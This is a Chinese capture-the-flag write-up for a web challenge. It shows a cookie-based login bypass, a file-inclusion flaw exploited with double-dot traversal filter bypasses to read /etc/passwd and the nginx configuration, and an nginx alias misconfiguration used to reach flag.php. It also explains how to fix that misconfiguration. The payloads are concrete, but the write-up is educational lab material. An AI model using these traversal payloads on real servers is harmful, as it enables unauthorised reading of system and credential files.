工控线下的web就是源于此题
登录绕过
- 登录框尝试注入无果，全是网站建设中
- burp拦包发现cookie中有一个login字段，改为1，重新访问index.php
文件包含
/manages/admin.php?module=index&name=php
这里要进行测试:
/index.php # 有界面
/manages/index.php # 只有字
/admin.php # 404
/manages/admin.php?module=index.php&name= # 正常访问
/manages/admin.php?module=admin.php&name= # 空
/manages/admin.php?module=admin&name=php # 空
/robots.txt # 提示flag.php
/manages/robots.txt # 404
/manages/admin.php?module=robots.txt&name= # 提示flag.php
说明文件包含的路径并非manages/应该是其父目录，即网站的根目录，继续测试：
/manages/admin.php?module=/manages/index.php&name= # 只有字
/manages/admin.php?module=/manages/admin.php&name= # 嵌套了
说明猜想正确，尝试用../读取/etc/passwd:
/manages/admin.php?module=../../../../../../../../etc/passwd&name= # 空
尝试双写../即…/./或….//绕过：
manages/admin.php?module=....//....//....//....//....//....//..../etc/passwd&name= # 成功
manages/admin.php?module=..././..././..././..././..././..././..././etc/passwd&name= # 成功
nginx配置文件
一般nginx的配置文件存放在/etc/nginx目录下
/etc/nginx/nginx.conf/etc/nginx/conf.d/default.conf
其中第一个配置文件中一般会有如下语句：
include /etc/nginx/conf.d/*.conf
包含了/etc/nginx/conf.d/路径中全部的配置文件，所以/etc/nginx/nginx.conf才是nginx的主要配置文件，尝试读取本题的配置文件：
manages/admin.php?module=..././..././..././..././..././..././..././etc/nginx/nginx.conf&name=
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
include sites-enabled/default;
}
继续读取sites-enabled/default
manages/admin.php?module=..././..././..././..././..././..././..././etc/nginx/sites-enabled/default&name=
server {
listen 80;
#listen [::]:80 default_server ipv6only=on;
root /var/www/html;
index index.php index.html index.htm;
server_name localhost;
location / {
try_files $uri $uri/ =404;
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
#fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
}
}
error_page 404 /404.html;
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /var/www/html;
}
location /online-movies {
alias /movie/;
autoindex on;
}
location ~ /\.ht {
deny all;
}
}
这里重点看：
location /online-movies {
alias /movie/;
autoindex on;
}
- 他将访问中/online-movies的请求定向到服务器根目录的movie路径（注意不是网站根目录）
- 于是当我们请求/online-movies../时，会变成/movie/..，就是服务器根路径，导致目录浏览
- 修改/online-movies为/online-movies/即可避免此问题
于是利用如下直接访问/var/www/html/flag.php获取源码即可，注意因为html/下存在index.php，所以直接通过鼠标点进去无法查看html下的文件列表。
http://28b14bfa5fac4cd69cb3952211e0f26a9b8caedb3f5d4d38.game.ichunqiu.com//online-movies../var/www/html/flag.php